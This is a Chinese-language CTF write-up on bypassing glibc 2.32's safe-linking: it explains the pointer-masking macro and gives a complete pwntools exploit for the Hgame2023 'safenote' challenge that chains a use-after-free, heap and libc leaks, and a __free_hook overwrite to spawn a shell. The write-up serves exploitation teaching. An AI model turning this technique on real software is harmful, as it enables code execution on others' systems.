safe-linking

C12en

2023-03-03

heap

前言

低版本中无论是tcachebin还是fastbin 只要我们修改fd域就可以将对应地址放置到链表上威胁程度非常高

在libc2.32以后 saft-linking机制诞生一定程度上缓解了这种现象的出现

其通过在chunk被释放到链表之前对fd域进行加密取出后解密来实现堆块的存入和取出并且有效遏制了用户在没有密匙的情况下篡改fd域从而实现任意地址申请的chunk

不过这个加密的手段比较简单所以我们仍然有办法绕过这个机制只需要获取其密匙就行了

源码解析

/* Safe-Linking:
   Use randomness from ASLR (mmap_base) to protect single-linked lists
   of Fast-Bins and TCache.  That is, mask the "next" pointers of the
   lists' chunks, and also perform allocation alignment checks on them.
   This mechanism reduces the risk of pointer hijacking, as was done with
   Safe-Unlinking in the double-linked lists of Small-Bins.
   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
   larger pages provide less entropy, although the pointer mangling
   still works.  */
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

pos是指针本身的地址 ptr是指针的值

加密的公式翻译成中文形式也就是

(fd指针地址算术右移12位)异或(指针的值)

如果我们想要按照以前一样任意地址取出chunk 就需要在修改fd域的时候就按照这个加密办法

这也就意味着我们需要获取到堆的地址这样才能伪造fd域

利用

你可能会想到申请两个chunk 释放进bin中随后泄露其fd域获取堆地址

这样当然可行不过由于这个机制我们泄露fd域的方法会更加简单如果单纯释放一个chunk到tcache链表中

换做往常其fd域值为0

但是受到机制的影响在2.32版本以后此时的fd域应该是

(0x55b170682260>>12) ^ 0

你会发现最后的结果也就是去除了后三位这就意味着如果我们释放一个chunk到tcachebin中再泄露出fd域得到的值算术左移12位就可以得到堆基址因为堆基址是从当前页起始也就是后三位固定为0 并且只申请一个chunk的话大小总不会超过0x1000吧

于是如果我们想要通过tcachebin获取任意地址的堆块只需要将对应地址异或(堆基址>>12) 前提是你没有申请超过0x1000大小的chunk 致使对应的chunk到了下一页

真题分析

Hgame2023-week3-safenote

题目环境2.32 做题环境ubuntu18 libc2.27

一共给了四个函数
add函数 可以申请0xff大小以下的chunk
delete函数 释放chunk后并没有置零指针 存在UAF
edit函数 没有办法堆溢出
show函数 调用puts函数输出堆块内容

非常常规的一道题无非就是利用UAF实现libc基址的泄露并且利用tcache打hook

但是因为版本在libc2.32 所以有几个地方需要注意

由于最大只能申请0xff大小的chunk 并且没有办法chunk extend 所以这里采用填满tcache链表的办法使得chunk被释放到unsortedbin中

for i in range(8):
    add(i,0x80)

delete(0)
show(0)
heap_addr = u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_addr :"+hex(heap_addr))

同时我们可以多申请一个chunk 利用这个chunk来泄露堆基址

紧接着填满tcache链表后再释放一个chunk进入unsortedbin 从而泄露libc基址

add(8,0x10)          #防止unsortedbin合并
for i in range(1,8):
    delete(i)

edit(7,'\x11')
show(7)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x11
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7fea010bfc00-0x7fea00edc000)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
onegadget_addr = libc_addr + 0xdf54f

这里之所以要修改chunk7的最后一个字节再打印出来是因为该版本的main_arena_addr+96最后一个字节是00 如果直接泄露的话显然是会被截断

接下来的任务就很简单了打free_hook

payload = (heap_addr>>12)^(free_hook)
edit(6,p64(payload))
add(9,0x80)
add(10,0x80)
edit(10,p64(onegadget_addr))
delete(0)
io.interactive()

完整exp:

from pwn import*
io = process("./pwn")
#io = remote("47.99.93.110",10001)
context.log_level = "debug"
libc = ELF("/home/chen/2.32-0ubuntu3.2_amd64/libc-2.32.so")
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
def debug():
    gdb.attach(io)
    pause()

def add(index,size):
    io.sendlineafter("5. Exit",b'1')
    io.sendlineafter("Index: ",str(index))
    io.sendlineafter("Size: ",str(size))

def delete(index):
    io.sendlineafter("5. Exit",b'2')
    io.sendlineafter("Index: ",str(index))

def edit(index,content):
    io.sendlineafter("5. Exit",b'3')
    io.sendlineafter("Index: ",str(index))
    io.sendafter("Content: ",content)

def show(index):
    io.sendlineafter("5. Exit",b'4')
    io.sendlineafter("Index: ",str(index))

for i in range(8):
    add(i,0x80)

delete(0)
show(0)
heap_addr = u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_addr :"+hex(heap_addr))
add(8,0x10)
for i in range(1,8):
    delete(i)

edit(7,'\x11')
show(7)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x11
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7fea010bfc00-0x7fea00edc000)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
onegadget_addr = libc_addr + 0xdf54f

payload = (heap_addr>>12)^(free_hook)
edit(6,p64(payload))
add(9,0x80)
add(10,0x80)
edit(10,p64(onegadget_addr))
delete(0)
io.interactive()